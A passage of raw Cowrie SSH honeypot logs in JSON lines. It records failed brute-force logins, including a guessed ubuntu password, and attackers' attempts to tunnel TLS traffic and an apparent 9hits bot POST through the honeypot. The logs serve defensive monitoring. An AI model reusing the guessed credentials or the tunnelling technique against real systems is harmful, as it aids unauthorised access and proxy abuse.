b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03>\\x03\\x8b\\x89`\\xd3\\x87(\\x1f\\xc6\\xdfj\\xc0Y\\x17\\xfdB\\xd5\\xeff\\x81\\xa4\\x92TP\\x9e\\x9f\\x90\\xf5[\\xec\\xfb !I\\xe2\\xf2\\x82\\x13\\xd8n\\xb2\\xdf\\xa1v\\xeb\\xd2RJ-Cf\\x9c\\xfb\\xef\\xc8-\\x17e\\x91\\xf9\\xe9\\xf5[\\xea\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc7\\xce\\xa9\\xc1\\xf7\\xfc|_\\xbfK$(\\xf6+\\xb8\\xbe_\\x9f\\xfc\\xb3h\\x03\\xb2\\x93$\\xbdC6\\x07\\x96\\x99'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.152705Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.296305Z","src_ip":"91.92.40.36","session":"f00a13494a4a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.385347Z","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.612880Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9b\\xf1|\\xf9\\x0c\\xd8\\xfabU7\\xf2/\\xbbI\\xc0~\\xfeds\\xb0\\xab\\x042@\\xd6t\\xb1\\x8b K\\x80j \\xbf#\\xe0\\xd1\\x16}\\xe2A\\x0b(/\\r\\xff$\\x01\\xb8Y\\xb2&\"\\xa3K\\x9fcm\\xb6\\x96\\xc2C\\x12\\xd0e\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\x1ay\\\\\\xe1\\x0b\\xd4\\xaap\\x9bB%E\\xa8\\x06\\xed\\xbe[\\xc5\\xb5\\x93Ry\\x8e\\x02\\xb7>\\\\\\xb3\\xc4\\x91\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9b\\xf1|\\xf9\\x0c\\xd8\\xfabU7\\xf2/\\xbbI\\xc0~\\xfeds\\xb0\\xab\\x042@\\xd6t\\xb1\\x8b K\\x80j \\xbf#\\xe0\\xd1\\x16}\\xe2A\\x0b(/\\r\\xff$\\x01\\xb8Y\\xb2&\"\\xa3K\\x9fcm\\xb6\\x96\\xc2C\\x12\\xd0e\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\x1ay\\\\\\xe1\\x0b\\xd4\\xaap\\x9bB%E\\xa8\\x06\\xed\\xbe[\\xc5\\xb5\\x93Ry\\x8e\\x02\\xb7>\\\\\\xb3\\xc4\\x91\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.616192Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:06.945893Z","src_ip":"123.27.168.40","session":"42afedd6af3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:07.000856Z","src_ip":"91.92.40.36","session":"871078bcc3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc12345678","message":"login attempt [ubuntu/abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:08.700867Z","src_ip":"91.92.40.36","session":"5e97d0a2163a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:09.003631Z","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:09.163395Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Z2U%2FJjF5PzhubylGTVpeQw%3D%3DoJFiXY3x5lIONLksYpRguuDhoGHMF6%2B0HIXmDwsBJhks3MQffwzzJBkhlSSaY551hIrKUJUxpbwUuXapvhBTuSVHNqLa9wLXoB4wL93GCoUxmg6e6uk7r6X5cgavLXkZs%2FknVMlDYls3HooDgC0cOaG64EHlEQI5oQ0PlrZbsDpK0YpmXKbr7KfeibTQdBdK91DYGf7qZ8SfCML%2B5la4GTrTUawI%2F257LXlTzrcoOhSoDj9J6NHdqOpno4IcQDMCWJIWmIO799BYv2Xw5UJ3LqwXBhKxM6kJ9V0iBmF3%2FGyrQeDgT92j17A9C3ptsI8uKgRi34HPRAl6Wt0HZ1mDjBt%2Fl3IeYQZdVO9KfKIqpGPxfD16uF%2F%2FZE7EQHSb6ZIKW8RaTOklxTIBGe8fYlK47MEQ9TcbJPxn%2F%2BnU9qU55BJ1ctG%2Bih8Xz2wK2ytbZ%2B3eG58fB1pxCHhH%2BzGQrOvSumYhyNBfYXp1AW%2FY8swqQZdVbI0LYmTyulqNA0gLCLYWhTvTBUkzA0WNQJiZeNmfgdEbvERF6XIJ4BpgRYq8DjL8uX5%2Fzm4TYrYiGS1RTN6ZI5ovXZpT4g4caVY38bb50iqoDXyTHvAqyMsoJVN61fINN3DXpJGwgpUW%2B65x9oo1NjckgMugvxjSjhti3pu0D0DY%2BxUSMhx5%2Fs4Z0VN6z61r29DJ83Z5uHBY9opvWRzh%2FbpNPACH5WLaUYHroSs15Nj7g90Rsswwf6drM7a%2FigotArfgoo9y20JtrKLtTq%2FT0AYlI4OM5pOSwTHcemJzUMXWeP287hwKGP2d90MXyNneki4F3A3KBE6aRaeZ8Uh77uT9p%2BqmXPA%2BXldVCeAb7ZIC78Frx%2FPzzcCEk2%2F8FZDbSkfke0PieSVp9qUzsSmG4LKzQqtarn7jBeM4tyWPbU4lxoxAmdU1CqYFZA7WzG0czo6%2FmXvqPwU8Yy%2B5aw657PTJ61KraMamBt0dGhPSXR4WM%2BbpF0ArEqIFoss%2FxHp8oCJLS2Op9zCvGX%2FMQaLyzNK6epNPWTEjjBlaOdUhm1sckTbMraKvhUbEIi0WuSno28%2Bh11W6B3LHZUDexIk%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Z2U%2FJjF5PzhubylGTVpeQw%3D%3DoJFiXY3x5lIONLksYpRguuDhoGHMF6%2B0HIXmDwsBJhks3MQffwzzJBkhlSSaY551hIrKUJUxpbwUuXapvhBTuSVHNqLa9wLXoB4wL93GCoUxmg6e6uk7r6X5cgavLXkZs%2FknVMlDYls3HooDgC0cOaG64EHlEQI5oQ0PlrZbsDpK0YpmXKbr7KfeibTQdBdK91DYGf7qZ8SfCML%2B5la4GTrTUawI%2F257LXlTzrcoOhSoDj9J6NHdqOpno4IcQDMCWJIWmIO799BYv2Xw5UJ3LqwXBhKxM6kJ9V0iBmF3%2FGyrQeDgT92j17A9C3ptsI8uKgRi34HPRAl6Wt0HZ1mDjBt%2Fl3IeYQZdVO9KfKIqpGPxfD16uF%2F%2FZE7EQHSb6ZIKW8RaTOklxTIBGe8fYlK47MEQ9TcbJPxn%2F%2BnU9qU55BJ1ctG%2Bih8Xz2wK2ytbZ%2B3eG58fB1pxCHhH%2BzGQrOvSumYhyNBfYXp1AW%2FY8swqQZdVbI0LYmTyulqNA0gLCLYWhTvTBUkzA0WNQJiZeNmfgdEbvERF6XIJ4BpgRYq8DjL8uX5%2Fzm4TYrYiGS1RTN6ZI5ovXZpT4g4caVY38bb50iqoDXyTHvAqyMsoJVN61fINN3DXpJGwgpUW%2B65x9oo1NjckgMugvxjSjhti3pu0D0DY%2BxUSMhx5%2Fs4Z0VN6z61r29DJ83Z5uHBY9opvWRzh%2FbpNPACH5WLaUYHroSs15Nj7g90Rsswwf6drM7a%2FigotArfgoo9y20JtrKLtTq%2FT0AYlI4OM5pOSwTHcemJzUMXWeP287hwKGP2d90MXyNneki4F3A3KBE6aRaeZ8Uh77uT9p%2BqmXPA%2BXldVCeAb7ZIC78Frx%2FPzzcCEk2%2F8FZDbSkfke0PieSVp9qUzsSmG4LKzQqtarn7jBeM4tyWPbU4lxoxAmdU1CqYFZA7WzG0czo6%2FmXvqPwU8Yy%2B5aw657PTJ61KraMamBt0dGhPSXR4WM%2BbpF0ArEqIFoss%2FxHp8oCJLS2Op9zCvGX%2FMQaLyzNK6epNPWTEjjBlaOdUhm1sckTbMraKvhUbEIi0WuSno28%2Bh11W6B3LHZUDexIk%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:09.166723Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:09.638919Z","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:10.031833Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x1f\\x8eBC\\x13\\xedO\\x93\\x9f\\xe1\\xc6e\\xaf\\xa1!\\x00\\xba\\n\\n\\xbf\\xb4\\xad\\x93z\\xf4@\\xbe\\x11>\\x9b\\x01 \\x9b\\x86m\\xb3\\x002\\xad\\x0e\\xdaT\\xa4\\x99{\\x97%c\\xde\\x9c\\x14\\xf9\\xc5p\\xe6\\xc4\\xf2\\x8c\\x9f^\\xdd\\xcam\\x90\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbb0G\\xff\\xfd\\x11\\x86D\\x9a\\xea\\x98+\\xcd\\x9b0\\x8b\\xbf\\x8eH\\x94\\x05?il\\x9d\\x86\\xf7R\\x94\\x12\\xfeS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc3\\x1f\\x8eBC\\x13\\xedO\\x93\\x9f\\xe1\\xc6e\\xaf\\xa1!\\x00\\xba\\n\\n\\xbf\\xb4\\xad\\x93z\\xf4@\\xbe\\x11>\\x9b\\x01 \\x9b\\x86m\\xb3\\x002\\xad\\x0e\\xdaT\\xa4\\x99{\\x97%c\\xde\\x9c\\x14\\xf9\\xc5p\\xe6\\xc4\\xf2\\x8c\\x9f^\\xdd\\xcam\\x90\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbb0G\\xff\\xfd\\x11\\x86D\\x9a\\xea\\x98+\\xcd\\x9b0\\x8b\\xbf\\x8eH\\x94\\x05?il\\x9d\\x86\\xf7R\\x94\\x12\\xfeS\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:10.035021Z","src_ip":"38.46.222.137","session":"97d8f3490c84","protocol":"ssh"}
